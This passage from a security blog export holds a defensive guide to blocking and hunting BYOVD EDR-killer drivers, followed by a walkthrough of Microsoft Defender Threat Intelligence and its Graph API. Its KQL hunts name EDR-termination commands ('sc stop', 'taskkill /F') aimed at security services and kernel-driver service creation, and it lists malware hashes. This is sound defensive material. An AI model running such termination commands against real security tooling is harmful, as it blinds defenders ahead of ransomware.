than merging them. If you do plan to merge it with an existing allowlist policy, remove the Allow All rules from the XML before merging.\nDeploy manually via SiPolicy.p7b (alternative for non-Intune environments):\nIf you need to deploy outside Intune or want the most current version of the blocklist rather than waiting for the next policy update:\nDownload the App Control policy refresh tool. Download and extract the vulnerable driver blocklist binaries. Start with the audit only version. Rename the file to SiPolicy.p7b. Copy SiPolicy.p7b to %windir%\\system32\\CodeIntegrity. Run the refresh tool as administrator to activate and apply the policy. Open Event Viewer. Browse to Applications and Services Logs \u0026gt; Microsoft \u0026gt; Windows \u0026gt; CodeIntegrity \u0026gt; Operational. Filter on Event ID 3099. Confirm the PolicyNameBuffer and PolicyIdBuffer match the values in the policy XML you downloaded. If they do, the blocklist is active. Run in audit mode for a period that covers your normal driver install activity. If nothing legitimate triggers a block, swap in the enforced version and repeat the refresh step. Note: if a vulnerable driver is already loaded when you apply the policy, it will not be evicted until reboot. Plan a reboot window into the rollout, especially on servers.\nFor fleet deployment via Intune or ConfigMgr, deploy SiPolicy.p7b to the CodeIntegrity folder using a Win32 app or a PowerShell remediation script, then run the refresh tool post-copy as a second step. Validate on a representative pilot group across your hardware diversity before broad enforcement.\nStep 4: App Control for Business for your most critical assets Steps 1 and 3 are blocklist-based. They stop drivers that are known to be bad. ktapi.sys, the zero-day used in the Gentlemen intrusion, was not on any public blocklist when it was deployed. A sufficiently restrictive App Control for Business policy stops it anyway, not because it knows ktapi.sys is bad, but because it was never on the approved list. With a restrictive policy, an unapproved driver simply does not load.\nMost organisations are not here yet. Deployment complexity is real and a misconfigured policy can prevent Windows from booting. Get Steps 1 through 3 in place first, then plan this for your highest-risk assets. App Control lets you allowlist by publisher certificate so new driver versions from the same vendor pass automatically. You can also set a minimum build number to prevent downgrade attacks.\nStart with the assets where the driver set is most predictable:\nDomain controllers: stable driver set, crown jewel of every ransomware intrusion Jump boxes and PAWs: standardised images, minimal variation File servers: high-value targets with generally predictable hardware Step-by-step: App Control Wizard\nDownload the wizard from webapp-wdac-wizard.azurewebsites.net or install via winget install --id Microsoft.AppControlPolicyWizard. The welcome page has three options: Policy Creator, Policy Editor, and Policy Merger.\n1. Create your base policy in audit mode (Policy Creator)\nSelect Policy Creator. On the Policy Type screen, select Multiple Policy Format and then Base Policy. Multiple Policy Format supports Windows 10 1903 and newer, including all modern Windows Server versions. Single Policy Format is for Windows Server 2016 and 2019 only. AppIdTagging is a different feature and not relevant here. Choose a template. For servers and DCs use Default Windows Mode, which allows Windows components, Store apps, and third-party WHQL-compatible drivers. Note: because it trusts WHQL-compatible drivers, an unknown vulnerable driver that passed WHQL could still load. For the tightest driver control, review and restrict the driver signing rules after creating the base policy. For workstations, Signed and Reputable Mode is a broader starting point that also trusts reputable signed software. Name the policy, for example BYOVD Protection - DC Audit, and choose an output folder. On the Policy Rules page, leave Audit Mode enabled. No drivers are blocked yet while you collect data. Two specific toggles worth noting here: Hypervisor-protected Code Integrity is off by default. Leave it off. HVCI is managed separately through the Intune Settings Catalog policy in Step 2. Enabling it here as well creates a conflict in management scope. Require WHQL is off by default. Leaving it off does not introduce a gap. The driver block rules you merge in the next step add explicit deny entries for known-bad WHQL-compatible drivers, which is a more targeted approach than requiring WHQL for everything. On the File Rules page, add publisher rules for software you know runs on these assets. A standard DC may need nothing beyond the template defaults. Click Next. The wizard outputs both an .xml file and a .cip binary. 2. Merge the driver block rules (Policy Merger)\nOn the welcome page, select Policy Merger. Add your base policy XML from the previous step. Add the driver block rules XML from aka.ms/VulnerableDriverBlockList. Set the output path and click Merge. The result allows your approved software and explicitly denies known-bad drivers. 3. Deploy in audit mode and collect events\nDCs, file servers, and jump boxes are domain-joined, not Intune-managed. Deploy the compiled binary via PowerShell, either run directly or packaged as a startup script via Group Policy or SCCM targeting the relevant server OUs.\nConvert the XML to binary. The filename must match the PolicyID GUID from inside the XML exactly. Use this snippet to extract it automatically:\nPowerShell$PolicyId = ([xml](Get-Content \u0026#34;.\\MergedPolicy.xml\u0026#34;)).SiPolicy.PolicyID ConvertFrom-CIPolicy ` -XmlFilePath \u0026#34;.\\MergedPolicy.xml\u0026#34; ` -BinaryFilePath \u0026#34;.\\$PolicyId.cip\u0026#34; Copy the binary to the target server and reboot:\nPowerShellCopy-Item \u0026#34;.\\$PolicyId.cip\u0026#34; -Destination \u0026#34;C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\\u0026#34; Restart-Computer Monitor audit events in Advanced Hunting for two to four weeks:\nKQLDeviceEvents | where ActionType == \u0026#34;AppControlCodeIntegrityPolicyAudited\u0026#34; | where FileName endswith \u0026#34;.sys\u0026#34; | where DeviceName in (\u0026#34;YourDC1\u0026#34;, \u0026#34;YourDC2\u0026#34;) | project Timestamp, DeviceName, FileName, FolderPath, SHA256 | order by Timestamp desc Review every driver that shows up. If everything is legitimate, proceed to enforcement.\n4. Switch to enforcement (Policy Editor)\nIn the wizard, select Policy Editor and load your merged policy XML. On the Policy Rules page, toggle Audit Mode off. The wizard saves a new versioned XML file, for example MergedPolicy_v10.0.0.1.xml. Convert to binary and redeploy using the same PowerShell steps above. The reboot activates enforcement. Detection: catch the driver event before the kill ASR vulnerable-driver activity Start with the control itself. This query shows when the Block abuse of exploited vulnerable signed drivers ASR rule was triggered in Audit or Block mode.\nKQLDeviceEvents | where Timestamp \u0026gt; ago(7d) | where ActionType in ( \u0026#34;AsrVulnerableSignedDriverAudited\u0026#34;, \u0026#34;AsrVulnerableSignedDriverBlocked\u0026#34; ) | project Timestamp, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, SHA256 | order by Timestamp desc Driver file dropped to an unusual location: Legitimate driver installs rarely write .sys files to user-writable paths. This query catches the delivery step before the load.\nKQLDeviceFileEvents | where Timestamp \u0026gt; ago(1d) | where FileName endswith \u0026#34;.sys\u0026#34; | where FolderPath has_any ( \u0026#34;\\\\Temp\\\\\u0026#34;, \u0026#34;\\\\AppData\\\\\u0026#34;, \u0026#34;\\\\Users\\\\Public\\\\\u0026#34;, \u0026#34;\\\\PerfLogs\\\\\u0026#34;, \u0026#34;\\\\Downloads\\\\\u0026#34;, \u0026#34;\\\\ProgramData\\\\\u0026#34; ) | project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, SHA256 | order by Timestamp desc Behavioral BYOVD detection: correlate driver drop and load Known hashes only catch drivers we have already seen. A stronger complementary approach is to correlate an unusual .sys file drop with a driver load shortly afterwards and prioritize drivers that are rare across the environment.\nKQLDeviceFileEvents | where Timestamp \u0026gt; ago(7d) | where FileName endswith \u0026#34;.sys\u0026#34; | where FolderPath !startswith @\u0026#34;C:\\Windows\u0026#34; | where FolderPath !startswith @\u0026#34;C:\\Program Files\u0026#34; | where isnotempty(SHA1) | project DropTime = Timestamp, DeviceId, DeviceName, SHA1, DriverFileName = FileName, DriverPath = FolderPath, DroppingProcess = InitiatingProcessFileName, DroppingProcessCommandLine = InitiatingProcessCommandLine | join kind=inner ( DeviceEvents | where Timestamp \u0026gt; ago(7d) | where ActionType == \u0026#34;DriverLoad\u0026#34; | where isnotempty(SHA1) | project LoadTime = Timestamp, DeviceId, SHA1, LoadedDriver = FileName, LoadedDriverPath = FolderPath ) on DeviceId, SHA1 | where LoadTime between (DropTime .. DropTime + 30s) | project DropTime, LoadTime, DeviceName, DriverFileName, DriverPath, DroppingProcess, DroppingProcessCommandLine, LoadedDriver, LoadedDriverPath, SHA1 | order by DropTime desc ktapi.sys and was.exe IOCs from the Hutchins/Expel report (June 2026): The hashes below are published in the Expel investigation. Expel notes that the recovered ktapi.sys sample came from a third-party source and could not be confirmed as the exact copy used during the intrusion. Treat these hashes as hunting pivots rather than relying on hash-only blocking.\nDeviceFileEvents| where Timestamp \u0026gt; ago(30d)| where FileName in~ (\u0026#34;ktapi.sys\u0026#34;, \u0026#34;was.exe\u0026#34;) or SHA256 in ( \u0026#34;7ee17efef04bb7c9de90d5210263ed6993f867e5a11f86e65e3bb1362c7de237\u0026#34;, \u0026#34;9ca9432b0d29204cb5420a1a6b01533d4552130c2a8a5ecd7837efadefb4a046\u0026#34;, \u0026#34;89ba754861e11d9db4440b2b5db61fd5bee16752e4623c4271b8fdd0a666c677\u0026#34;, \u0026#34;c277ae5a4dd62f51de5278790796cd2700de7f77ea17762e97729f27872d076b\u0026#34; )| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, SHA256| order by Timestamp desc Hunt for known LOLDrivers in MDE LOLDrivers publishes a Microsoft Defender query that compares actual driver-load events against its live catalogue of vulnerable and malicious drivers. The query is credited by LOLDrivers to Mehmet Ergene (@Cyb3rMonk).\nKQLlet LOLDrivers = externaldata (Category:string, KnownVulnerableSamples:dynamic, Verified:string ) [h@\u0026#34;https://www.loldrivers.io/api/drivers.json\u0026#34;] with (format=multijson, ingestionMapping=\u0026#39;[{\u0026#34;Column\u0026#34;:\u0026#34;Category\u0026#34;,\u0026#34;Properties\u0026#34;:{\u0026#34;Path\u0026#34;:\u0026#34;$.Category\u0026#34;}},{\u0026#34;Column\u0026#34;:\u0026#34;KnownVulnerableSamples\u0026#34;,\u0026#34;Properties\u0026#34;:{\u0026#34;Path\u0026#34;:\u0026#34;$.KnownVulnerableSamples\u0026#34;}},{\u0026#34;Column\u0026#34;:\u0026#34;Verified\u0026#34;,\u0026#34;Properties\u0026#34;:{\u0026#34;Path\u0026#34;:\u0026#34;$.Verified\u0026#34;}}]\u0026#39;) | mv-expand KnownVulnerableSamples | extend SHA1 = tostring(KnownVulnerableSamples.SHA1), SHA256 = tostring(KnownVulnerableSamples.SHA256) ; // you can filter the drivers further based on category or verified status DeviceEvents | where ActionType == \u0026#34;DriverLoad\u0026#34; | join kind=inner (LOLDrivers | where isnotempty(SHA256)) on SHA256 | union ( DeviceEvents | where ActionType == \u0026#34;DriverLoad\u0026#34; | join kind=inner (LOLDrivers | where isnotempty(SHA1)) on SHA1 ) This gives you a continuously updated hunt for known vulnerable or malicious drivers that were actually loaded in your environment.\nHunt for rare driver loads A newly introduced driver that appears on only one or two systems deserves attention, particularly on servers and other assets with a stable driver baseline. Rarity is also one of the signals used in the Ransom-ISAC behavioral detection methodology.\nKQLDeviceEvents | where Timestamp \u0026gt; ago(7d) | where ActionType == \u0026#34;DriverLoad\u0026#34; | where FileName endswith \u0026#34;.sys\u0026#34; | summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Devices=dcount(DeviceId), DeviceList=make_set(DeviceName, 10) by SHA1, SHA256, FileName, FolderPath | where Devices \u0026lt;= 2 | order by FirstSeen desc A more advanced variation published query by Bert-JanP identifies recently created driver files on an endpoint with low global prevalence. It then cross-references these files with Windows Event ID 3004, where Windows Code Integrity validates the digital signature of kernel-mode drivers during memory loading. This detection can potentially highlight BYOVD (Bring Your Own Vulnerable Driver) scenarios.\nKQLlet DriverwithLowPrevalence = DeviceFileEvents | where ActionType == \u0026#34;FileCreated\u0026#34; | where FileName endswith \u0026#34;.sys\u0026#34; | invoke FileProfile(SHA1,1000) | where GlobalPrevalence \u0026lt;= 150 or isempty(GlobalPrevalence) | join kind=leftouter DeviceFileCertificateInfo on SHA1 | project FileName; DeviceEvents // Event ID 3004 - Kernel-mode Driver Validation | where ReportId == \u0026#34;3004\u0026#34; | where ActionType == @\u0026#34;DriverLoad\u0026#34; | where FileName has_any(DriverwithLowPrevalence) Kernel driver registration through sc.exe Many BYOVD chains register the vulnerable driver as a kernel service before loading it. Hunting for explicit sc.exe create ... type= kernel activity gives you another attack-chain signal that does not depend on a known driver hash.\nKQLDeviceProcessEvents | where Timestamp \u0026gt; ago(30d) | where FileName =~ \u0026#34;sc.exe\u0026#34; | where ProcessCommandLine has \u0026#34;create\u0026#34; | where ProcessCommandLine has \u0026#34;type= kernel\u0026#34; | project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc Ransom-ISAC also identifies service/driver loading and the surrounding process chain as useful telemetry when investigating BYOVD activity.\nLow-prevalence driver followed by tampering A particularly interesting correlation is a rare driver being loaded on a device followed by Defender tampering activity. SlimKQL published this approach specifically for detecting EDR-killing tooling that uses BYOVD.\nKQLlet DriverwithLowPrevalence = DeviceFileEvents | where ActionType == \u0026#34;FileCreated\u0026#34; | where FileName endswith \u0026#34;.sys\u0026#34; | invoke FileProfile(SHA1, 1000) | where GlobalPrevalence \u0026lt;= 150 or isempty(GlobalPrevalence) | join kind=leftouter DeviceFileCertificateInfo on SHA1 | project FileName; let DevicewithLPDriverActivated = DeviceEvents | where ActionType == \u0026#34;DriverLoad\u0026#34; | where FileName has_any(DriverwithLowPrevalence) | distinct DeviceName; DeviceEvents | where ActionType == \u0026#34;TamperingAttempt\u0026#34; | where DeviceName in (DevicewithLPDriverActivated) | project Timestamp, DeviceName, ActionType, FileName, AdditionalFields | order by Timestamp desc This is a higher-confidence hunt than rarity alone because it combines a low-prevalence kernel driver with subsequent security-control tampering.\nSecurity-tool termination BYOVD is often used specifically to disable EDR or antivirus processes. This query looks for common command-line attempts to stop security tooling. Adjust the process names to match the products deployed in your environment.\nKQLDeviceProcessEvents | where Timestamp \u0026gt; ago(1d) | where ProcessCommandLine has_any ( \u0026#34;sc stop\u0026#34;, \u0026#34;taskkill /F\u0026#34;, \u0026#34;net stop\u0026#34; ) | where ProcessCommandLine has_any ( \u0026#34;MsMpEng\u0026#34;, \u0026#34;Sense\u0026#34;, \u0026#34;WdNisSvc\u0026#34;, \u0026#34;CSFalconService\u0026#34;, \u0026#34;SentinelAgent\u0026#34;, \u0026#34;SepMasterService\u0026#34;, \u0026#34;mbamservice\u0026#34;, \u0026#34;Sophos\u0026#34; ) | project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc This is not BYOVD-specific, but it is useful as a supporting signal and also catches simpler user-mode EDR-killing attempts.\nGentlemen-specific hunting Finally, keep one campaign-specific hunt. ESET observed the Gentlemen ransomware operation staging tooling under GentlemenCollection, while the later Expel investigation documented ktapi.sys being used against EDR.\nKQLDeviceFileEvents | where Timestamp \u0026gt; ago(30d) | where FileName in~ (\u0026#34;ktapi.sys\u0026#34;, \u0026#34;was.exe\u0026#34;) or FolderPath contains \u0026#34;GentlemenCollection\u0026#34; or InitiatingProcessFolderPath contains \u0026#34;GentlemenCollection\u0026#34; | project Timestamp, DeviceName, FileName, FolderPath, SHA1, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc One more thing worth mentioning here: if you are streaming telemetry to Microsoft Sentinel, events that have already left the endpoint before the EDR kill are still available in Sentinel even if Advanced Hunting goes dark. Getting telemetry off-box quickly is a meaningful compensating control when the on-box agent is compromised.\nWhat to do when this fires The detection section above establishes that BYOVD activity is a pre-encryption signal. That changes how you respond. You are not investigating an isolated event. You are racing encryption.\nIf you see any of the following: an ASR vulnerable driver block, an attempted driver-based tamper alert, an unexplained loss of MDE sensor telemetry, or an EDR process termination event, treat it as a high-severity ransomware precursor and act immediately.\nImmediate steps:\nIsolate the host. Use MDE device isolation if the sensor is still alive. If the EDR agent has already been killed, device isolation may not be available. Have an out-of-band containment path ready through your network layer, NAC, firewall policy, or virtualisation platform. Do not assume MDE isolation is still functional once a kill event has fired. Investigate how admin was obtained. BYOVD requires local admin. Look for credential theft, lateral movement, and privilege escalation activity in the hours before the driver event. Hunt estate-wide immediately. Search for the same driver filename, hash, and service name across all enrolled devices. A single detection likely means the attacker has already moved laterally. Check whether other devices stopped reporting. If the EDR sensor was killed on one device, look for devices that went silent around the same time. Revoke compromised credentials. If the attacker reached local admin via credential theft, assume those credentials are compromised across the environment. Preserve evidence where it does not delay containment. Memory, event logs, and the driver binary are valuable. Do not delay isolation of an actively compromised system to collect them. Containment comes first. What MDE alerts fire when this happens Even when BYOVD is attempted, MDE will raise alerts at the tamper layer before or during the attack if it catches the behavior. Knowing the alert titles helps you recognize them in your queue and triage them appropriately.\nAlert titles you may see related to BYOVD and EDR kill attempts:\nAttempt to bypass Microsoft Defender for Endpoint client protection Attempt to stop Microsoft Defender for Endpoint sensor Attempt to tamper with Microsoft Defender on multiple devices Attempt to turn off Microsoft Defender Antivirus protection Suspicious driver installation detected For the vulnerable signed driver rule specifically, Microsoft’s ASR reference confirms that the activity is surfaced through the ASR Report and Advanced Hunting rather than as a dedicated EDR alert. Separate Defender tamper and suspicious-driver detections can still generate alerts when related behavior is detected:\nIf your Sentinel workspace is connected, these tamper alerts will also appear as SecurityAlert records from the MicrosoftDefenderForEndpoint source, queryable via:\nKQLSecurityAlert | where ProductName has \u0026#34;Microsoft Defender\u0026#34; | where AlertName has_any ( \u0026#34;Attempt to bypass\u0026#34;, \u0026#34;Attempt to stop\u0026#34;, \u0026#34;tamper with Microsoft Defender\u0026#34;, \u0026#34;Suspicious driver\u0026#34; ) | project TimeGenerated, AlertName, AlertSeverity, Entities, Description | order by TimeGenerated desc Validate your coverage across the fleet Check your Secure Score in the Defender portal under Secure Score \u0026gt; Improvement actions, filtered by Device. It surfaces HVCI and ASR rule gaps as scored improvement actions with implementation guidance.\nCoverage percentages per rule are also visible there. A 95% coverage reading means 5% of devices are not receiving the policy, which is worth understanding before you call it done.\nIntune Security Baselines as a shortcut:\nThe Windows Security Baseline and MDE Baseline in Intune ship with HVCI and several core ASR rules pre-configured. If you are not already using them, check Endpoint security \u0026gt; Security baselines before manually configuring everything in this post. Step 3 still needs to be done manually, but the baselines close a lot of ground quickly.\nNon-BYOVD EDR killers: the parallel trend to watch BYOVD is not the only method in use. Several 2026 reports documented EDR killers that work without loading any kernel driver. Techniques include:\nProcess suspension: repeatedly suspending EDR agent threads to avoid the process restart watchdog WFP-based blocking: using Windows Filtering Platform rules to block the EDR agent’s network traffic, cutting off telemetry without killing the process Handle manipulation: obtaining handles to protected processes through indirect means to inject or manipulate memory The service termination query in the detection section catches some of these. HVCI and App Control do not protect against them. They require their own detection logic.\nTroubleshooting ASR rule is not triggering anything after deployment:\nConfirm Microsoft Defender Antivirus is in active mode. ASR does not function in passive mode. Confirm cloud-delivered protection is enabled. Several ASR rules depend on it, including this one. Allow 30 minutes for Intune policy sync after creation. Check rule status under Endpoint security \u0026gt; Attack surface reduction in the Intune portal. Run a test: use a known vulnerable driver hash from LOLDrivers.io in a test environment to confirm the rule fires before declaring production clean. HVCI shows “Not enabled” after policy deployment:\nThe most common cause is an incompatible driver. Check Event Viewer under System for Code Integrity or Hyper-V related warnings immediately after the policy applies and the device reboots. Check that VBS (Virtualization Based Security) itself is running in msinfo32 before HVCI. HVCI depends on VBS; if VBS is not active, HVCI cannot start. Some devices require UEFI settings changes (enable Secure Boot and virtualization extensions) before VBS can activate. Check BIOS/UEFI for Intel VT-x or AMD-V, and for Secure Boot status. HVCI with UEFI lock requires a reboot to fully activate. Do not check immediately after policy sync, check after reboot. Blocklist policy (SiPolicy.p7b) did not apply:\nVerify the file is in %windir%\\system32\\CodeIntegrity on the target machine. Run the refresh tool as an administrator, not as a standard user. Check for Event ID 3099 in the CodeIntegrity Operational log. If absent, the policy did not activate. If present but with unexpected policy names, you may have a policy conflict with an existing App Control policy on the machine. A legitimate driver is being blocked by the blocklist:\nDo not exclude it by adding a hash exception to the ASR rule. The right fix is updating the driver to a version that is not on the blocklist. Contact the vendor for an updated driver version. If none exists yet, work with the vendor on getting the block lifted from the Microsoft blocklist for patched versions via the Microsoft Security Intelligence Driver Submission portal (link in references). As a temporary measure, apply the blocklist in audit mode while working through the vendor update. References Attack surface reduction rules reference – Microsoft Learn Microsoft recommended driver block rules – Microsoft Learn Enable virtualization-based protection of code integrity (HVCI) – Microsoft Learn App Control for Business overview – Microsoft Learn Tamper resiliency in Microsoft Defender for Endpoint – Microsoft Learn Credential Guard overview – Microsoft Learn App Control Wizard (formerly WDAC Wizard) LOLDrivers.io – living off the land drivers catalogue ESET: Killing me gently – Inside Gentlemen’s EDR killer framework (June 2026) Marcus Hutchins / Expel: Not very gentlemanly – Analyzing a zero-day exploit used by The Gentlemen ransomware to disable targets’ EDRs (June 2026) Expel: The feature that stops BYOVD – App Control for Business deployed via Active Directory Huntress: How attackers disable AV and EDR (May 2026) The Hacker News: 54 EDR killers use BYOVD to exploit 35 signed vulnerable drivers (March 2026) Microsoft Vulnerable Driver Blocklist download Microsoft Security Intelligence Driver Submission Conclusion None of these four controls is enough on its own, and they are not all equal in priority either.\nThe ASR rule stops a vulnerable driver from being written to disk but not one already sitting on the system. The blocklist stops known-bad drivers from loading, but on devices where HVCI is already active the built-in OS blocklist is already running. The standalone version adds completeness for a small number of additional entries and is most important for devices where HVCI cannot run. HVCI hardens kernel execution, constrains exploit primitives, and enforces the blocklist automatically. It is the most impactful control to deploy for most environments but it does not prevent a legitimately signed vulnerable driver from loading. App Control gives you the strongest guarantee of all, because it controls which drivers are admitted in the first place.\nPut together: ASR in Block mode closes the delivery step. HVCI enforced fleet-wide hardens kernel execution and gives you blocklist coverage automatically. The standalone driver block list covers devices where HVCI is not running. App Control for Business on your highest-risk assets removes the dependency on any list entirely, covering even zero-day drivers no blocklist has seen yet.\nFrom an MDR perspective, I treat HVCI status and ASR vulnerable-driver-rule Block coverage as fleet-wide metrics tracked on a dashboard, not one-time onboarding checkboxes. Gentlemen adopted two new BYOVD techniques within days of their public release. The blocklist updates quarterly, with additional entries delivered through monthly Windows Update servicing. That gap is real and it drifts faster than most environments expect if nobody is watching it.\nHave a question or something to add? Drop it in the comments below.\n","date":"20 August 2026","externalUrl":null,"permalink":"/byovd-edr-killers-asr-wdac-hvci/","section":"All articles","summary":"","title":"BYOVD is back: how EDR killers ship inside RaaS kits and how to stop them","type":"posts"},{"content":" Introduction The final phase of the Microsoft Defender Threat Intelligence (MDTI) convergence went generally available in the Defender portal on 1 August 2026. The legacy standalone portal and the legacy Intel Explorer are retired, and Microsoft threat intelligence now lives in the Threat intelligence section of the Defender portal, in entity pages, in Threat analytics, and in Sentinel through a free connector.\nI want to walk through what actually changed, how to enable the connector step by step, how to call the Graph API, and where I would still be careful before calling it done in a tenant. I checked every claim below against Microsoft’s current documentation, and where the documentation disagrees with itself I say so.\nWhat actually changed The legacy experience is retired. Microsoft’s Learn documentation states that the legacy standalone Microsoft Threat Intelligence portal and the legacy Intel Explorer experience were retired on 1 August 2026. The Threat intelligence section of the Defender portal now has two primary pages: Overview and Intel explorer. The data is delivered through the free connector. Microsoft’s Message Center notice (MC1192257) says all MDTI data has been published via the free connector in Microsoft Sentinel, with new Threat Analytics APIs replacing retired MDTI APIs. The licensing is simpler. The same notice says that after 1 August 2026 MDTI capabilities require an active Defender or Sentinel license. Microsoft’s Learn pages add that publicly available Microsoft Threat Intelligence data, including entity enrichments, is available to Defender XDR customers at no additional cost. One thing to do before anything else: if you built something on the old MDTI APIs, read the Message Center notice. It tells you to update your internal documentation for the new Threat Analytics APIs and connector availability, so check older integrations rather than assuming they carried over.\nIntel explorer: searching and managing threat intelligence Intel explorer is the search and investigation page in the Threat intelligence section (left bar). You search by keyword or value, pick a threat intelligence type, and narrow the results with filters. Per Microsoft’s documentation the types are campaigns, indicators, attack patterns, identities, threat actors, tools, vulnerabilities, and reports, and threat analytics reports are available directly from it.\nBeyond searching, the same page is where Sentinel threat intelligence is managed. Microsoft lists these capabilities for Intel explorer:\nCreate STIX threat intelligence objects. Manage threat intelligence with ingestion rules. Manage relationships between objects, and add tags. Investigate indicators and related infrastructure (DNS, resolutions, WHOIS, subdomains, certificates, services, trackers, components, cookies). Query threat intelligence with advanced hunting. Export to TAXII 2.1 destinations. For IP address and domain indicators you can also review GeoLocation and WhoIs enrichment. Microsoft marks that enrichment as preview.\nTo create or manage Sentinel threat intelligence here you need Microsoft Sentinel Contributor or higher. One practical warning from the documentation: do not paste suspicious indicators into a browser. Search them in Intel explorer instead, and remove the brackets from defanged values like contoso[.]com first.\nEntity pages: reputation, infrastructure, and IoCs in context Domain, IP address, URL, and file entity pages now carry a Threat Intelligence Insights tab. All Defender XDR customers can use it with publicly available Microsoft Threat Intelligence data at no extra cost.\nWhat you get depends on the entity type. IP addresses and domains get reputation, attributed threat reports, and infrastructure relationships (DNS records, WHOIS, host pairs, subdomains, TLS/SSL certificates, services, components, trackers, cookies). URLs and files get reputation, attributed threat reports, and sandbox analysis.\nThe reputation score is worth understanding rather than glancing at, since it is what you will triage against:\nScore Category What it means 75–100 Malicious Confirmed associations to known malicious infrastructure on Microsoft’s blocklist, with matches to machine learning rules that detect suspicious activity 50–74 Suspicious Likely associated with suspicious infrastructure, matching three or more machine learning rules 25–49 Neutral Matches at least two machine learning rules 0–24 Unknown One or zero rule matches Microsoft is explicit that the score should be read holistically. The combination of signals (top-level domain, hosting provider, name server, registrar, TLS certificate characteristics) predicts maliciousness, not any single rule.\nYou reach the tab from an incident (select an entity in the evidence or alert details), from global search, from advanced hunting results, or by direct navigation. On the entity page it sits next to the Overview tab.\nThreat analytics: reports and IoCs Threat analytics is Microsoft’s in-product threat reporting. Each report has an Overview, an Analyst report, Related incidents, Impacted assets, Endpoints exposure, Recommended actions, and an Indicators tab.\nThe Overview gives you the threat at a glance: aliases (names used by other vendors), origin, related intelligence, targeted countries and industries, and observed MITRE ATT\u0026amp;CK techniques. It then shows what the threat means for your organization through related incidents, impacted assets, endpoint exposure, and recommended actions.\nThe Indicators tab lists the IoCs tied to the threat. Microsoft researchers update them in real time, and expired IoCs stay in the list so you can investigate past activity. It is marked preview, and only verified customers can access it.\nOne licensing detail from the documentation: you need a license for at least one Microsoft Defender product to use Threat analytics, and Sentinel SIEM customers only get certain sections or tabs.\nStep by step: enabling the connector in Sentinel Before you start, you need the Microsoft Sentinel Contributor role at the resource group level to install content, and read and write permissions on the Sentinel workspace to configure the connector. Sentinel in the Azure portal is scheduled to move to the Defender portal only after 31 March 2027, so I use the Defender portal paths below.\nGo to Microsoft Sentinel \u0026gt; Content management \u0026gt; Content hub. This is where you install any Sentinel solution, threat intelligence included. Find the Threat Intelligence solution and select Install/Update. Go to Microsoft Sentinel \u0026gt; Configuration \u0026gt; Data connectors. In my tenant the connector is listed as Threat Intelligence (NEW), next to the older Microsoft Defender Threat Intelligence connector. Microsoft’s documentation does not use that name yet, it still refers to the standard and premium Defender Threat Intelligence data connectors. Open the connector page and select Connect. It is not connected by default in a new workspace, so nothing syncs until you do this. Wait for the status to change to Connected. Once it does, indicators start flowing into your workspace. Confirm it is actually working. Go to Logs and run this: KQLThreatIntelIndicators | where TimeGenerated \u0026gt; ago(1d) | summarize count() by SourceSystem Rows within a few minutes means ingestion is working. The ingested intelligence is then available to the TI map... analytics rule templates and to hunting.\nWhich table? Sentinel now stores threat intelligence in the ThreatIntelIndicators and ThreatIntelObjects tables. Microsoft stopped ingesting into the legacy ThreatIntelligenceIndicator table in 2025, so queries, rules, and workbooks that still read from it need migrating. Microsoft’s Learn documentation shows how to rewrite those queries for the new schema.\nThe Graph API side For enrichment or SOAR automation, the Microsoft Graph Threat Intelligence API is the piece to use. It sits under /security/threatIntelligence and covers hosts, passive DNS, WHOIS, SSL certificates, intelligence profiles, vulnerabilities, and articles. The overview page states that the APIs are available to all customers with a Defender XDR and/or Sentinel license, with no separate license required.\nThe quickest way to try it is Graph Explorer, Microsoft’s own tool. You sign in with your own account, so there is no app registration, secret, or token to handle. The method reference pages list ThreatIntelligence.Read.All as the least privileged permission, and Graph Explorer uses it as a delegated permission on your signed-in account.\nOpen Graph Explorer. Go to https://developer.microsoft.com/graph/graph-explorer. Sign in. Select Sign in to Graph Explorer and use an account from your Defender or Sentinel tenant. Consent to the permission. Open the Modify permissions tab under the request bar, search for ThreatIntelligence, and select Consent next to ThreatIntelligence.Read.All. If consent is blocked, an admin needs to approve it for the tenant. Enter the request. Set the method to GET, the version to v1.0, and paste this URL: https://graph.microsoft.com/v1.0/security/threatIntelligence/hosts/newsplits.com/reputation Select Run query. The status shows 200 OK and the Response preview tab shows the JSON. newsplits.com is the domain from the entity page screenshots above. It is only a lookup value in the URL, so don’t browse to it. This is the response I got in Graph Explorer:\nIt lines up with the portal view of the same domain: score 100, classification malicious, and one high severity Cyber Threat Intelligence rule with the description “Daffodil Gust”. The id is just the host name, base64 encoded. The relatedDetailsUrl is a link into Threat analytics in the Defender portal, which is how you get from a verdict to the research behind it.\nThe score and classification pair is what I would use as an automation gate: if classification comes back malicious or suspicious, branch the playbook into containment or further enrichment, otherwise keep it as passive context on the incident.\nTry WHOIS. Change the URL and run it again: https://graph.microsoft.com/v1.0/security/threatIntelligence/hosts/newsplits.com/whois If something fails:\n403: the permission was not consented, or your account lacks the license or role. 401: sign in again. A licensing error: see the inconsistency below. Microsoft’s API overview groups the rest of the surface by use case. These are the ones I would reach for during an investigation:\nUse case REST resource Read articles about threat intelligence articles Read intelligence profiles about threat actors and common tools of compromise intelligenceProfiles Read information about a host, including reputation, cookies, and passive DNS hosts/{host} Read passive DNS records about a host hosts/{host}/passiveDns Read WHOIS details for a host hosts/{host}/whois Read SSL certificate data observed on a host hosts/{host}/sslCertificates Read details about a vulnerability vulnerabilities/{vulnerabilityId} Graph Explorer runs as you, with delegated access. For automation you would register an app and use application permissions with a client secret or certificate, which is a different identity and a different setup.\nFor a quick phishing check: pull the domain from an incident, call reputation for a fast verdict, and fall back to whois or passiveDns if it is inconclusive.\nDoc inconsistency to know about: the hostReputation and host reference pages (and possibly others) still say the API requires an active Defender Threat Intelligence Portal license and API add-on license. That contradicts the API overview and Microsoft’s Message Center notice. If a call fails on licensing, that stale note is likely why.\nWhat I would still check before calling this done Preview labels. The entity page Insights tab, the Indicators tab on reports, and the GeoLocation and WhoIs enrichment in Intel explorer are all still marked Preview in Microsoft’s docs. Build accordingly. Table migration. Anything still reading ThreatIntelligenceIndicator is reading a table that no longer receives new data. Duplicate connectors. If you run 